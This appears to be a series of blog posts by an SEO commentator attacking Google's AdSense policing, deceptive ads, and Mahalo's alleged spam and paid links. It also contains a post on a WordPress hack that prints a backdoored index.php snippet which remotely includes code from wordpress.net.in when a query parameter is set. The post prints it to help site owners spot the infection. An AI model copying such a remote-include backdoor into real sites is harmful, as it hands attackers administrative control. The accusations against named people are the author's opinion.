It has to be tough policing a program like AdSense. It must be exceptionally difficult during the holiday season, when the payoff to running scams grows so much more. It is so tough, in fact, that this year as the holiday shopping season grows near, with Black Friday just a few short days away, that apparently Google has finally decided to say “fuck it”, make it easier on themselves, just remove the ability for anyone to report any violations of the program whatsoever, and allow the scammers to have a field day in the mean time.

While Google may want to give the impression to their stockholders and the public that they have both the search engine spam and advertising program cheaters fully under control, the truth is that they rely quite a bit on reports from the community and consumers for both spam and AdSense violations. For any spam that they find, Google asks people to submit a Google spam report. At this point they require that someone log in before actually filing the report itself. This makes sense, since it helps prevent people erroneously filing large amount of spam reports against their competitors. For the AdSense violations they supply a separate form that does not require a log in, titled simply Reporting a Violation – AdSense Help. Usually I don’t run into offending sites with AdSense on them that fill me with enough of a sense of civic duty where I feel compelled to actually fill out a report, but I happened to land on one such today that actually tricked me into clicking on an ad in such a way that it really did annoy me. The page I landed on was BigSiteofAmazingFacts How Much Does The Earth Weigh (yes, I was distracted by trivial shit again, don’t judge me), and in the right sidebar there was what appeared to be an embedded Youtube Video from Family Guy:

Still distracted (of course) I clicked Play on the video, only instead of playing it suddenly brought me to a site trying to sell me bras. So, thinking I must have missed the rather large video in the sidebar when I tried to click on it, I hit the back button… and noticed that suddenly the video was gone altogether, and where before I had seen 2 AdSense blocks and a video, now there were 3 AdSense blocks instead:

I hit refresh a few times but the video didn’t return. At that point I realized that it was actually a scam, so I cleared my cookies for that domain, hit refresh again, and viola, the “video” reappeared once again. At this point I was sufficiently irked that I actually decided I was going to report this asshole. It’s bad enough that a site with crap content like this is ranking #1 (the weight of the Earth is increasing each year from salt from the ocean spray? Seriously, wtf?), while people with content that is just fine are getting penalized supposedly from the Panda fallout. To add in that the guy who owns the site is ripping off advertisers as well just makes it so much worse. So, I headed on over to the AdSense Violation report to be a good citizen… and I was greeted by this:

An essentially blank page, with only a header, navigation, and a box asking me to tell AdSense how they can improve. Go figure.

From a financial perspective it does make sense for Google to make reporting AdSense violators more difficult, especially during the holidays. People who run scams like this actually generate Google money through the AdSense program, a program which currently has absolutely no oversight. It is exactly this lack of oversight that means that Google is the only one who knows how much, if any, of the advertising dollars are credited back to the advertisers once these scams are revealed. Hiding the violations report means that much fewer sites will be reported, more scams will be able to run for longer periods of time, and more money will wind up in Google’s pockets.

Is this profit motive really the reason that the report form is missing? If you ask Google I am sure they would say “of course not, we’re Google, you can trust us”. And since everything with Google is proprietary “behind closed doors” trade secrets with them, there is no way to know exactly how many violation reports suddenly went missing that apparently no one has noticed yet. My hunch though is that with something like this, as online shopping hits the holiday rush, the lack of reports that are coming in at the moment is actually too big for them not to have noticed by now, and them not fixing it for this long must be at least in some part intentional on their end.

Update: As Jen from JenSense.com pointed out in the comments, there is another newer page available where you can actually file the report located here. However, I am not sure that makes it any better, and may in fact make it worse. I wound up on the empty page by actually going to Google and searching for [report adsense violation]. The page that Jen provided is in the list, but it is down under the blank page that I found, another unhelpful blank page, and underneath a list of discussion of other people looking for the form. This begs the question… why did Google leave an otherwise empty page behind with just enough text (ie. header and title) and all of the old link juice there to outrank the “real” form? If they redesigned the site, then why not 301 redirect the old form(s) to the new one? It’s not like they don’t know how search engines work, ya know?

Personally, I’d like to see Zedo up its standards for the type of ads it will accept. This type of junk shouldn’t be allowed. - Danny Sullivan

He’s right, too, the ad networks should be policing this type of deception, by all means. Matt Cutts, Google’s head of the web spam team, agrees. He tweeted about the story, and also commented his take on the matter in the post itself:

My favorite part of the disclaimer for those type of sites is “This website, and any page on the website, is based loosely off a true story, but has been modified in multiple ways including, but not limited to: the story, the photos, and the comments.”

Oh, so I can trust the website except for the story, photos, and comments? In other words, the entire website?

And if you read the disclaimer carefully, most of these sites promise a “free trial” with $1.95 in shipping, but actually set your card up with a recurring subscription. The “one weird old tip” ad that I clicked from the L.A. Times mentioned this in the fine print: “If you do not cancel within seven (7) days of the date that you enroll in the Program, we will charge the same card you provided at enrollment the non-refundable one-year membership fee of $149.95″. Then they also start charging you $12.95 a month. Grr. – Matt Cutts, on deceptive “flat belly” ads

Grr, indeed.

Danny also mentions in his post about how “The ad, unlike Google’s ads, doesn’t report what ad network is delivering them,” which if they did would be a form of disclosure. And Danny is right… except for one thing. Danny derived the fact that the ad was being served by Zedo by examining the url. However, if you view the source on the LA Times article and go to the spot on the page where the ad is showing, you don’t see the Zedo ad network code. The ad itself is being generated by Javascript that is being pulled from yet another ad network:

The actual ad network that the LA Times has a relationship with, and the ones responsible for what ads show on their site, is Doubleclick. And who owns Doubeclick, you might ask? As most of you probably already know, Google does, since they bought them back in 2007 for $3.1 billion. So obviously not all of the ads Google delivers disclose what network they are from.

It gets better. AdSense, Google’s flagship advertising network, serves what are known as “contextual ads”, where in theory the ad targeting is based on the context of the page contents where the ad blocks are placed. Danny uses AdSense on his site, with one of the blocks being at the very top of the page. Due to the various feeds in the sidebar, the content of the article, and the title, “Acai Berry” is mentioned 8 times on that same page. Therefore it is only natural, of course, that this is what we see when we look at the ads being served on the top:

(click to enlarge)

Now, can you guess where that ad leads? That’s right:

(click to enlarge)

It’s a fake news site identical to the one Danny is discussing, with the same text, layout, and even images embedded in the “story”, with the only variation being that the one Danny landed on is “News 7″, and this one is “News 8″.

What makes this story particularly interesting is that recently Matt Cutts visited Washington D.C., lobbying the FTC about Google’s integrity, trying to convince them that they don’t require government oversight, and how they could be trusted to police themselves. Google also happens to be in a very unique position to help clean up these kinds of abuses. Not only could they pull these ads from their own vast array of properties, and require their third party partners to do the same, but they could also warn publishers who use networks that continue to promote scams that their sites rankings could suffer, in the same way that they have punished websites in the past for what they said was deceptive marketing, in the form of undisclosed paid links. Instead, they themselves appear to be participating in the problem, not the solution.

So, Matt, are you willing to back up your testimony to the FTC about Google’s integrity, and lobby within your own company to help eradicate deceptive marketing from the web? Do you feel that websites that allow deceptive advertising to be shown on their sites should have their trust revoked?

I am a big one for testing, and test this tool I did. Now, I know, I may have voiced some opinions in the past as to my doubt of the sincerity of Rand Fishkin and the folks who run things over at SEOmoz, but regardless of what I said before, for me seeing is definitely believing. I plugged both the url for the post introducing the tool itself, along with the phrase [made up statistical bullshit], into the tool’s interface, and sure as hell this is what the tool showed me:

(click to enlarge)

I mean, c’mon now… those words weren’t used anywhere in the article, yet this tool was able to accurately determine that at least half* of everything that Rand said was relevant to that phrase?

I don’t know about you, but I’m convinced.

* and yes, I know, the tool guessed numbers that were way low compared to the actual quantity of bullshit in the article, but seriously… you know as well as I do that any tool that can automatically detect even trace amounts of bullshit in a post is going to be a game changer.

Thanks to James Cook of the TOONrefugee Cartoon Blog for the cartoon of Jason as Nixon. The image is copyrighted and may not be reproduced in any format without his permission.

Each time it happens Matt’s defense of Mahalo spamming Google just gets more perplexing. In this latest round he started by saying that his job was not to have knee jerk reactions, as if Mahalo hadn’t already established a pattern of spamming over a long period of time, and that Matt is pretending he hadn’t already had a talk with Jason and told him that if he didn’t raise the bar with his site that Google would take action on Mahalo. From there it got even weirder – Matt looked at the linkfarm and basically told me that a) he didn’t care as long as it wasn’t passing link juice, and b) he’s the only one who could tell if that was the case.

I could have sworn that it was if you were caught trying to spam you were penalized, and you couldn’t get the penalty removed unless you promised not to do it again. Now, where did I get such a crazy and wild idea? Oh yeah, I remember now… it was from Matt Cutts:

Now we come to the heart of things: what goes into a reinclusion request. Fundamentally, Google wants to know two things: 1) that any spam on the site is gone or fixed, and 2) that it’s not going to happen again. – Matt Cutts on the bare essentials of a reconsideration request

The reasons Matt gives out for defending Mahalo seem to be getting more and more creative (even if not more believable). Jason’s, on the other hand, are the same old song and dance he has been spouting since I first called him on his bs and demonstrated that the vast majority of his site was nothing more than empty, auto-generated pages. On Thursday’s post, before he started to lose it with his “fuck you losers, I’m rich” tirade, Jason made this statement:

We have humans write pages of at least 300 words. We don’t index 99.99% of pages with < 300 (it would have to be something unique), and we police the system to get short pages up to 300 words within 30 days. - Jason Calacanis, 4 days ago

Orly? Let’s take a look at those claims, shall we?

The Mahalo coupon pages are about the crappiest pages I have found on the site. When I was doing my initial investigation I stumbled across quite a few of them. My guess is that [{brand} coupon] generates AdSense blocks with a decent eCPM since they are, after all, “targeted” pages. None of the Mahalo “coupon” pages actually have any coupons, which of course means that the end user is much more likely to click on one of the ads when they land there, and more required clicks does means a poorer user experience. What content these pages do have is fluff text that gives ample opportunity for Mahalo to link back to itself, and have spammy signals that are easy to spot like when there are near-identical versions of the same topic page, usually by doing one page for “coupons” and another for “printable coupons” (and no, there is nothing to print out on those pages either). Therefore i picked those as where I would look first to point out, yet again, how Jason was simply pulling these claims out of his ass with no supporting truths behind them.

Digging back into my old data, from March 13th, I was able to determine that from the day the site started adding content up until that point in time Mahalo had amassed 2,655 coupon based pages. When I re-scanned and looked this time I found that there was now 16,601 of these pages. That is a huge increase for 3 months, and a ton of content to create uniquely, even if you ditch quality altogether. Mahalo currently only has a grand total of 90,494 of actual pages on that side of things, so that means 18% of the site is made up of “coupon” pages – and by that I mean coupon pages that don’t actually have any coupons on them.

What’s more, it actually looks like there is a chance that 9,932 of those pages were added last week, over a 3 day period. How the hell do you get writers to create 9,932 pages of even crappy content, all about coupons, in only 3 days?

As I started looking into it I suddenly understood… they didn’t just ditch the quality to create those pages, they went ahead and ditched the content, yet again. I checked over 30 pages, and time after time I found what I found was auto-generated pages that were nothing but ads, affiliate links, and scraper feeds.

http://www.mahalo.com/1800pools-coupons:

(click to view full page screenshot)

http://www.mahalo.com/tigerdirect-coupons:

(click to view full page screenshot)

http://www.mahalo.com/topnotchcare-com-coupons:

(click to view full page screenshot)

Most of the pages I checked had the affiliate links provided by Savings.com, and most linked to the same two questions pages: one discussing the Outback coupons page, and one discussing “grocery coupons”… and in every case neither question had anything to do with what the actual “coupon” page was supposedly about:

For the pages that did not have Savings.com affiliate feeds on them it was because they were using as keywords the names of sites that wouldn’t actually be Savings.com publishers, like GBB.org and RLS Forum. It looks like Jason somehow got his hands on a list of sites that for some reason or another looked like they might have offered some sort of coupon. These were then dumped into the database in the form of pages, and were then checked to see if they matched up with the Savings.com feed. If they did, great, if not that’s ok too, they still had AdSense on them – despite the fact that putting AdSense on pages without actual content is a direct violation of Google AdSense policies:

That’s ok though, I am sure Jason doesn’t care that he is risking the bulk of the site’s revenue stream by violating the terms of the program, since it looks like the AdSense team is giving him just as much of a pass as the spam team is.

In addition to the pages simply being devoid of content, Jason also uses the tactic of creating near-duplicate versions of some of these pages in order to get the most out of the long-tail phrase variations:

http://www.mahalo.com/1and1-coupons
http://www.mahalo.com/1and1-internet-coupons
http://www.mahalo.com/1and1-web-hosting-coupons
http://www.mahalo.com/1and1affiliate-com-coupons

Let’s look at Jason’s statements again…

We have humans write pages

Well, no. You have humans write some pages, but an assload are still auto-generated. In addition to the ones shown here, Google also says that you still have 13,200 pages that you scraped from Wikipedia in their index:

Adding the above auto-generated pages in with the Wikipedia ones, that means that at this point an estimated 33% of the Mahalo content pages are scraped or auto-generated, and that’s just the stuff that’s easy to find. Yay footprints.

of at least 300 words

Again, no, even on the human generated pages that is not always true. Take a look, for instance, at the 1and1 page on Mahalo.com that all 4 of the above coupons reference:

Including words of 3 letters and less that page still only has 212 words of human generated content on it. I also pointed out last week that some of the Wikipedia scraped pages remained thin, such as the one on “The Alice B. Toklas Cookbook”, which has only 261 words on it.

We don’t index 99.99% of pages with < 300 [words]

Bullshit. Not one single one of the pages I examined had a “noindex” tag on it, or was blocked by robots.txt. In fact, just the opposite – every single one of them was pushed to Mahalo’s sitemap, to make it easier for Google to find (and index) them.

we police the system to get short pages up to 300 words within 30 days

Again, bullshit. The 1and1 page has been that way since at least March 11th:

And the Alice B. Toklas one since March 12th:

So Jason, please, enough with the bs. Quit claiming stuff that simply is not true, especially when it’s so damn easy to disprove what you say. I still have no idea why it is that Matt Cutts is choosing to ignore your spam, but to the rest of us it’s as plain as day. And no, Jason… going in now and trying to clean it up in no way changes the fact that you spammed in the first place.

These sites usually have no original content and may be cookie-cutter sites or templates with no unique content. – Google Webmasters Tools Help, on sites Google does not like

These sites that Mahalo has started churning out, all that were apparently created just this year, would appear to be the AdSense version of the classic “thin affiliate” website.

I showed Matt Cutts the link to the search itself, and asked if he thought that the list of sites being returned looked spammy to him. His reply?

So, yet again, for some inexplicable reason the head of the Google Web Spam team appears to be defending Jason Calacanis. Despite the numerous posts that clearly demonstrate that Jason Calacanis is spamming Google, Matt is saying that he needs proof that these new sites are spammy. Pretty much anyone else in the industry can tell at a glance what is going on, but Google’s foremost expert on the subject of spam still needs help seeing it.

That’s fine. Let’s go ahead and take a deeper look at what is happening behind the scenes with these sites. Here’s one of the new sites that deals with cooking, cooking-questions.com:

336 pages indexed there. So, was the “cooking” topic on Mahalo.com not covered then…?

6,680 pages currently on Mahalo Answers, all about cooking. Looking at that list you can tell from the first two listings that Mahalo has one category for “Cooking Recipes”, and a completely separate category for “Cooking and Recipes”, whereas most non-spam directories, blogs, etc. would simply have picked one or the other. If they are struggling with diversity on the main site, how is it adding the same topic to an entirely new site is going to help?

Just for the record, the new, smaller site also seems to see the need to have both of those nearly identical categories as well:

Also, in case you’re thinking that maybe it’s the individual questions themselves on these new sites that are “diverse”, one of the questions on the new site is “how-do-you-know-when-corn-on-the-cob-is-fully-cooked”. Mahalo.com already has 10 pages on corn on the cob, 3 of which are: “how-long-do-you-cook-corn-on-the-cob”, “how-many-minutes-do-you-think-is-the-perfect-time-to-cook-corn-on-the-cob”, and “what-is-the-perfect-amount-of-time-to-cook-corn-on-the-cob”. Yeah, that’s diversity for ya.

Let’s look at some of the other sites, see if maybe that first one was just a fluke. The new Mahalo site for Star Wars, starwarsanswers.com:

308 results. So, is Star Wars not handled on Mahalo.com then?

1,200 results, so obviously this isn’t an example of “better diversity” either. Similar results for their Oklahoma City site, oklahomacityanswers.com:

177 pages, and yet again, not new subject matter:

632 pages. On Oklahoma City questions. How did people manage to come up with that many questions about Oklahoma City on a site that hardly anyone ever actually goes to on purpose?

The answer, of course, is that they didn’t. On the new site there are exactly 11 actual questions as of this writing. The other 166 pages are (mostly empty) category pages, member pages, and other fluff that each of these “cookie-cutter sites or templates with no unique content” come with by default. Since this is all crap content then, why would Calacanis even bother with them? There is little to no interest in many of these subjects… what game could Jason possibly be playing here?

I know! Let’s all play:

Back in February I discussed how the internal pages on Mahalo.com get almost no natural links. Almost all of their PageRank (and thus ranking power) comes from either employees linking from their blogs or it comes from scrapers. With hundreds of thousands pages to support, however, relying on that kind of sketchy link profile has a good chance of not panning out in the long run. Someone must have pointed this out to Jason, and now these mini-sites are his solution. If you can’t build enough quality pages for people to want to link to you naturally, build sites and link to yourself. Look at, for instance, the cooking site’s question on “What is the most common way to make Angel Food Cake?”:

Within just the question itself, including the title, there are 14 links, all pointing back to Mahalo.com topic pages. If we examine the link profile for those pages being linked to, we see that these linkfarms that Jason is putting up provide the majority of their link juice. For example, the first page linked to is Malao’s page on “cake”:

(click to enlarge)

Of the 10 links listed, 4 come from scrapers, one is a url shortener that is actually on a Mahalo.com page, and the other 5 all come from Jason’s linkfarm: cooking-questions.com, parenting-questions.com, and foodiequestions.com. You can see the same is true throughout when you check the other links in the question, like the ones to the Mahalo pages on “chocolate” [link:http://www.mahalo.com/chocolate -site:mahalo.com] and “baking” [link:http://www.mahalo.com/baking -site:mahalo.com].

Some of the pages being linked to don’t exist any more, since Jason did go in and delete some content in response to a good talking to Matt Cutts gave him a couple of months ago… but that’s ok, the links are there just in case they ever decide to build those pages back out.

The embedded links aren’t the only ones on these sites, either. You also have the sidebar links pointing back to Mahalo:

Of course all of these little sites need some link juice themselves, in order to stay indexed and pick up some long tail rankings, which in turn with garner them some scraper backlink juice of their own. Jason’s got that covered too. For some of the pages he has redirected old pages from Mahalo.com, which acts as a reciprocal link exchange between Mahalo and the new sites. On iphoneqna.com, he has added a “Recommended Q&A Communities” block to the sidebar, which adds in an extra level of interlinking to the equation:

And of course there’s always the fall back tactic of Jason simply linking to some of these sites from his personal blog and Tumblr account to give them a little extra kick.

Like much of what Jason does, nothing in these tactics is new. Google has directly addressed the non-acceptability of this type of link building for quite a while now:

… some webmasters engage in link exchange schemes and build partner pages exclusively for the sake of cross-linking, disregarding the quality of the links, the sources, and the long-term impact it will have on their sites. This is in violation of Google’s webmaster guidelines and can negatively impact your site’s ranking in search results. – Google Webmaster Tools Help page on Link schemes

It is spam, pure and simple. There is no added user experience, no diversity, and no reason for all of these sites, including Mahalo.com, to not get banned from Google.

One of the hacks that has been around for a few years has the symptoms of having an index.php in the root installation that has the following code in it:

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/** Loads the WordPress Environment and Template */
if (isset($_GET['license'])) {
	@include('http://wordpress.net.in/license.txt');
} else {
	require('./wp-blog-header.php');
}

The index.php found in a clean installation of WordPress does not have an IF statement in it, and the section that is actually delivering the hack is the statement telling the page to include() license.txt located on wordpress.net.in. If you try to view that page in a browser what you currently would see is version 3 of the GNU General Public License. However, if the file is called as an include(), it instead delivers code that acts as a back door and allows, I believe, the injection of an erroneous administrator into the WordPress installation. From there pretty much anything can be done.

The wordpress.net.in domain itself, which is being used to deliver this hack, was originally registered back in April 2007, supposedly to some guy in Massachusetts:

A little over 3 years later, after at least 31 changes in domain registration information, the domain is still supposedly registered to some guy in Massachusetts, although not to the same person:

The domain has been used for these hacking activities the entire time it has existed. There has never been a legitimate site residing on it.

By checking the IP address of where the site is now, it appears to be hosted by a firm operating under the name Extended Host Inc, which according to their whois information is located in Canada. However, they don’t seem to actually have a website where someone could get hosting services, and their IP is located over in Amsterdam. This is what Spamhaus had to say about Extended Host:

While none of this actually tells us anything about who the real owner of the domain is, what it does tell us is that there is very little that can be done about it. The hosting company is a scam, so there is no one to contact to have them take the website down. Even if the current bandwidth provider did decide to take action against them they could simply move to a new provider. There are plenty of hacker and spammer friendly hosts out there to choose from. The sad truth is that there is little that honest concerned netizens such as you or I can do to take a website like this offline. It is a shame, too, because taking the website down would mean that the hack it is being used for, across however many thousands of WordPress installations out there that are infected, would no longer be effective. It would nullify the damage, even for those blog owners who do not know that they are hacked.

No, there really isn’t much that you or I could do about that site… but there is actually someone who could do something, if they so wanted. You see, the domain in question, wordpress.net.in, consists entirely of the WordPress trademark, a trademark owned by Automattic Inc, the company founded by one Matt Mullenweg, the original creator of WordPress. According to their website they are quite aware of the fact that using WordPress in a domain is a trademark violation, and trademark violations are pretty much the one thing that allows one person to legitimately take a domain from another person without their consent. According to the ICANN Domain Name Dispute Resolution Policy there are 3 conditions that must be met for this to happen:

• (i) your domain name is identical or confusingly similar to a trademark or service mark in which the complainant has rights; and
• (ii) you have no rights or legitimate interests in respect of the domain name; and
• (iii) your domain name has been registered and is being used in bad faith.

In this case 1 is a no-brainer… the domain name is an exact match for the trademark in question. I am pretty sure that unless the owner of the domain name turns out to be one of the other founders of Automattic number 2 will pass the test without question as well. As for requirement 3, I don’t think you could really get more “bad faith” than deliberately using the domain name to hack other websites. If Matt actually cared he would have no problem wrestling control of that domain name from whoever it is that actually owns it, and shutting it down altogether, and yet he has done nothing about it for over three years now. Apparently Matt is so obsessively concerned with his crusade against non-GPL WordPress plugin and theme developers that he doesn’t have the time or energy to go after someone using his trademark to hack software he wrote. In his campaign against the evils of non-GPL he has even gone so far as to start banning people from speaking at or sponsoring Wordcamp events if they are “non-GPL-compliant” (a determination, btw, which is solely made by Matt and company, with apparently no procedure in place for appeals):

They are welcome to attend, but WordCamps may not have non-GPL-compliant people as organizers, sponsors, or speakers. Events that want to move forward and include such individuals in these roles may need to use a name other than WordCamp if the appropriate adjustments can’t be made. – Jane Wells, WordCamp “central liaison”

That’s right… if you wish to put the effort into organizing an event that promotes WordPress in your community, and you take the time to raise the money yourself to do so, but you happen to be a person who directly sells premium themes, then you damn well better not use their trademarked name for the event. If you want to spread viruses, hack servers, and promote spam, however… hell, feel free to use their core trademark in your domain name. It’s not like they are going to actually do anything about it.

Let’s ignore, for the moment anyways, that for absolutely any other website on the internet with the evidence that I presented the process would most likely entail the webmaster proving their innocence rather than the person reporting the paid link proving that they are guilty, and that they would have to do so after they actually got banned. Before I get started, keep in mind… whatsyourconundrum.com is not Conundrum Wine’s main website. Their actual website is http://conundrumwine.com/. The site that is being linked to from Mahalo is a marketing device, a link or PageRank funnel, something that acts as an intermediary link bait, or simply to increase brand recognition. This is actually a great way to help increase your exposure without having to put gimmicky items on your company’s professional website. That main website is not hosted on Mahalo.com’s servers.

Now, Matt is correct. The whatsyourconundrum.com website is indeed hosted on Mahalo servers. Without even looking at the IP address, we know by looking at the whois record the dns servers are ns1.mahalo.com and ns2.mahalo.com:

The reason, I am guessing, is that apparently whatsyourconundrum.com is powered by a white label version of Mahalo’s Answers. What we also see in the whois record is that the domain is owned by Camus Vinyards, and that their administrative email is domainadmin@caymus.com. Following that hint, we see that the caymus.com domain is owned by Caymus Vinyards:

Caymus.com is in turn being hosted on ewinerysolutions.com servers. Ewinerysolutions.com is being hosted on their own servers, so the dns trail stops there. If we go to the eWinery Solutions website, we can see that what they do is offer marketing services to wineries:

The most profitable and fastest-growing segment of the wine industry today is the consumer-direct channel. eWinery Solutions offers you the freedom to market your wines easily and effectively by creating a one-on-one dialogue with your best customers.

Jot on over to their Portfolio page, and we see that Conundrum Wine is in fact a client of eWinery Solutions:

Now, does eWinery offer their services to Conundrum out of the goodness of their heart? Somehow I doubt it. Did Jason agree to lease and host the white-label version of Mahalo Answers to them because of all of the warm fuzzies he knew it would give him? Of course not. In fact, he even refers to this deal as being Mahalo’s first “client”:

Whether the header link was part of the original deal negotiated to set up whatsyourconundrum.com, or a separate cash transaction, the fact remains that this was not a merit based link. It has it’s roots in a commercial transaction that most likely occurred between someone at Mahalo and the people doing Conundrum’s marketing. What I also can’t say is whether or not the clean sitewide links pointing to whatsyourconundrum.com on Jason’s private blog was part of the deal or not… but there are 5 of those links there as well, under the heading of “Daily Reads”:

Hopefully Matt won’t ask me to get all ninja and obtain a copy of the actual invoice… that might prove a little problematic for me.

While Google will ban smaller websites from their search results or from AdSense on a whim, usually it takes heavier coverage for bigger players to get hit. Like, for instance, when Google Blogoscoped outed BMW for spammy doorway pages. The story spread relatively fast, and Google wound up banning BMW for a short period of time. So when someone has a “special” relationship with Google, as Jason appears to have, and keeps getting second (and third, and fourth, and fifth…) chances to clean up their act, yet continues to snub their nose in Google’s general direction, it makes one wonder. Google has to be at least somewhat concerned that someone in the mainstream media will eventually notice and start to ask why someone like Jason would continually be allowed to get away with this stuff. Considering the unfairness and lack of impartiality of letting a site like Mahalo slide while punishing so many smaller sites for lesser offenses, my guess is that Google doesn’t actually want to discuss their reasons behind ignoring it. And so, each time Google does nothing, Jason decides to push things a little more.

This time it looks like Jason has decided to go ahead and violate the rules closest to Matt Cutts heart. While the layout I am showing here will change with time, since the header contains rotating articles, currently if you go to Mahalo at the top of every page (on the non-Answers side, anyways) you will see the following block of stories that Mahalo is highlighting (usually this area contains trending or hot news items):

(Click to enlarge)

While technically speaking just by looking at them there is nothing to distinguish one of those “featured stories” from another, the one that doesn’t actually belong is the third one in, with the caption “Best Pickup Line Ever?”. The reason that one is different from all the rest is simple… it’s not a Mahalo featured story at all, and has nothing to do with anything going on in the news. It’s an ad. It is a paid link that Mahalo.com sold, one that leads to a site built to market a wine company. There is nothing visual to distinguish or disclose that as an ad, and if we view the source of the page…

(Click to enlarge)

… we can see that there is nothing machine readable (ie. nofollow attribute) to distinguish it as an ad, either.

Matt Cutts has been very, very clear on his take on sites that sell links that pass PageRank, or ones that don’t disclose that they are in fact ads: they are spamming. No if, ands, or buts about it, they deserve to get punished. In fact, he has even gone to far to state that in his view undisclosed paid links violate FTC guidelines.

So, Matt, recently you put out a call for link spam reports, including “paid links that pass PageRank”. Really, though, is there any point in reporting Mahalo to you? Are you going to actually take action, or, like you have done with Jason’s spam in the past, will you continue to simply look the other way? Any other site would be faced with a penalize/ban first, make nice nice with Google later. Hell, with the BMW site you penalized them after they cleaned it up, just to make an example. I get the strangest feeling, though, that won’t happen with Mahalo…

Can you at least say something about this issue…?

Update: in response to a comment below and a question posed by Matt Cutts about what makes me believe that this is indeed a paid link:

The Mahalo Paid Link Evidence Trail.

Ok Jason, we get it, you’re desperate. But stealing content from Wikipedia in order to replace what you deleted? Come on!

I am flipping through Mahalo.com today, just seeing if you’re keeping your word or not, when all of a sudden I notice this huge amount of pages with odd names that somehow I missed before:

http://www.mahalo.com/cgs-20625
http://www.mahalo.com/cgs-9896
http://www.mahalo.com/cp-154-526
http://www.mahalo.com/daa-1097
http://www.mahalo.com/daa-1106

These are all nothing more than content stolen from Wikipedia. Your version:

Wikipedia’s version:

You even hyperlinked the same internal linking scheme to the same topics Wikipedia does, regardless of whether or not those pages exist on Mahalo.com. How the hell can you claim this is original content when it is nothing more than cut and paste? I mean, wtf, you just claimed that Wikipedia is nothing more than a free for all a little under 3 weeks ago… does the content somehow take on some magical value after you scrape it and host in on your servers, trying to pass it off as something one of your users wrote? THIS is the “our users build it” content that you were referring to?

News flash, Jason… your users and Wikipedia’s users are not the same people. You lumped Squidoo into the same category back then as well. If I look close enough, will I find content stolen from them too?

Now, to be fair, maybe this content existed all along but was much, much less noticeable when you had all of those other pages of fluff in there, but now that you have deleted 78% of that side of Mahalo, these scraped pages are practically impossible to miss. None of the pages I looked at were actually indexed in Google, but it looks like at least 27,900 of them currently are:

(Click to enlarge)

Considering that Google only has a portion of those indexed, and that at last count there were only 128,324 pages left on that side of your site, that means that at minimum over 21% (and in all likelihood 30% – 40%) of the remaining pages on Mahalo.com are these scraped ones. Is that really what you want on your “Human Powered Search Engine”…?

There are 2 major differences between the original content and your version. 1) The original content cites the sources directly there on the page, whereas Mahalo does not, and 2) Mahalo is using each and every one of these scraped pages to automatically create 2 (and sometimes 3) additional contentless pages under the guise of questions being asked anonymously, questions that no one ever actually asked, but that are there solely for the purpose of bolstering your indexed page count in Google. The first question asked of every drug is What are the side effects of {insert drug}?:

And the second is always Where can I get {insert drug}:

I also saw a “Who makes {insert drug}” question here and there as well. These are empty questions, asked by a bot, that for the most part will never get answered (or even looked at) and were never intended to. Three plus free pages (two of them completely devoid of content) for the price of one scraped page. Jason, seriously, do you really think you are slick doing this?

By the way, a huge number of those pages are less than 100 words in length, yet none of them have the noindex tag. Regardless of of what the length is, however, it’s not what you are claiming Mahalo.com is Jason, it’s more fluff. Wikipedia already gives us those articles. You add nothing to the interwebs by copying them. In all seriousness you should just go through and delete them all.